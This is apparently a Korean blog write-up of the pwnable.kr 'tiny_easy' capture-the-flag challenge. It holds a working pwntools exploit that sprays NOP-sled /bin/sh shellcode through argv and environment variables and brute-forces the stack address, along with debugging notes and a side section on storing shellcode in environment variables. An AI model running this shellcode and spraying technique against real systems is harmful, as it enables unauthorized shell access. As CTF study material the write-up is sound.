security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] tiny_easy

민사민서 2023. 2. 19. 05:40
from pwn import *

shellcode = '\x90'*0x1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
# 0xff8~ 영역에 매핑된다
argvs = [ p32(0xffdddfff) ]
env = {}
argvs.append(shellcode)
for i in range(0x100):
    env[str(i)] = shellcode

while True:
    p = process(executable="/home/tiny_easy/tiny_easy", env=env, argv=argvs)
    try:
        p.sendline("ls")
        p.recv(100)
    except:
        print("sorry..")
        continue
    p.interactive()

 

- scp로 다운받아서 실행해보니 세그멘테이션 오류 뜬다
- No RELRO        No canary found   NX disabled   No PIE
- IDA로 열어보자
public start
start proc near
pop     eax
pop     edx
mov     edx, [edx]
call    edx
start endp ; sp-analysis failed

LOAD ends

end start

- mov edx, [edx]에 bp 걸고 edx 주소에 어떤 값이 담겨있나 디버깅해보자
=> /home/minseo/Desktop/pwnableKr/Rookiss/tiny_easy/tiny_easy 문자열이 담겨있다
- 즉 edx에는 0x28 0x68 0x6F 0x6D ("/hom" 문자)가 담긴다, edx=0x6D6F6828
=> 이 주소를 call하려니 seg error

- 시작 시 스택상태
FF8A8840  00000001 ; [esp] = argc (1)
FF8A8844  FF8AA27E ; [esp+4] = argv[0] (파일의 절대경로 문자열을 가리킴)
FF8A8848  00000000
~~
- gdb에서 명령행 인자를 주려면 (gdb) r argv1 argv2 이런 식으로 하면 됨
- 명령행 인자를 주었을 때 argv[0] 문자열 바로 다음에 저장되네
- argv[1] 문자열 어디올지 대략적으로 예측해보자 (ida로 첫번째 명령어에 bp 걸어놓고 계속 실행하며 [esp+4]의 들어있는 주솟값 확인)
FF88427E, FFE7127E, FFA3327E, FFA7E27E, FF99B27E, FF94127E, FF84F27E (FF8~~ 이후 값)
- argv 문자열 바로 다음에 환경변수 값들이 (key)=(value); (key)=(value); ... 형태로 저장되어있음

<exploit 계획-1>
1. 환경변수에 NOP+shellcode for 32bit(25B)를 저장하고,
2. argv[0]에다가 4byte로 입력한다
// 하지만 계속 바뀌는 환경변수 주솟값을 읽어올 방법이 없어서 포기 (printenv.c로 읽는다해도 계속 바뀜)

<exploit 계획-2>
(25B shellcode for 32bit)
- \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
- \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
1. argv[1]에다가 NOPs + shellcode 입력
2. argv[0]에 스택 주소 4byte 입력 (Ret2Shellcode)
수상할 정도로 모든 권한이 부여된 스택영역...

브포 성공 확률 높이는 법

0. 반복실행해 target 주솟값의 범위를 구한다

1. shellcode 앞에 NOP 바이트를 많이 붙인다 (NOP sledding) # 0x1000이 0x100 보다 압도적으로 성공확률 up
2. argv[1] 뿐 아니라 환경변수들에도 쉘코드를 삽입한다 # 성공확률 훨씬 up
3. ssh로 접속하는게 아니라 원격 서버에 파이썬 코드를 작성해 실행한다 (훨씬 빠름)
+ try-except 문을 통해 예외처리를 한다

 

 

 

환경변수 이용해 쉘코드 넣는법 구글링하다가 어쩌다 발견해 공부하게된... (FTZ 17번 문제에도 등장)

환경변수를 이용한 RET 흐름제어

환경변수는 OS가 필요한 정보를 메모리에 등록해 놓고 필요할 때마다 참조하는 영역

여기에 등록된 데이터는 고정적인 메모리주소를 가지고 있게 된다던데... 직접 해보니까 ASLR 때문인지 매번 다른 주소가 나오네

Chat GPT: the address of an environment variable can change during program execution, and you should not rely on it being fixed. Instead, you should use functions like getenv() to retrieve the value of the environment variable by name.

 

우리가 필요한 쉘코드를 환경변수에 등록하고 이 환경변수의 메모리 주소를 알아와서 ret의 값을 환경변수에 등록한 쉘코드로 변조

Step1. 환경변수에 쉘코드 저장하기

export SHELLCODE=$(echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")
export SHELLCODE=$(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

* echo -ne는 shellcode를 hexadecimal format으로 출력하게 도와준다

* $() 문법을 통해 명령어 실행 결과를 SHELLCODE 환경변수에 저장한다

* env 해서 환경변수 목록 확인하거나 echo $SHELLCODE 해서 확인 가능

 

Step2. 환경변수 주소 leak한다 (gcc printenv.c -o printenv)

#include <stdio.h>

int main() {
        printf("Shellcode: %p\n", getenv("Shellcode"));
}

Step3. leak한 주소를 RET에 덮어쓴다.

 

// 일반적인 상황에선 환경변수 주소가 계속 바뀔 뿐더러

// 파이썬 모듈로 주소가 읽어와지지도 않아서 이번 exploit에서 사용할 수는 없다...

from pwn import *
import ctypes

libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
shellcode_addr = libc.getenv("SHELLCODE")
print(hex(shellcode_addr))
argvs = [ p32(shellcode_addr) ]

p = process(executable="./tiny_easy", argv=argvs)
p.interactive()

 

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] echo1  (0) 2023.02.23
pwnable.kr - [Rookiss] ascii_easy  (0) 2023.02.19
pwnable.kr - [Rookiss] fsb  (0) 2023.02.18
pwnable.kr - [Toddler's Bottle] unlink  (0) 2023.02.06
pwnable.kr - [Toddler's Bottle] uaf  (0) 2023.02.06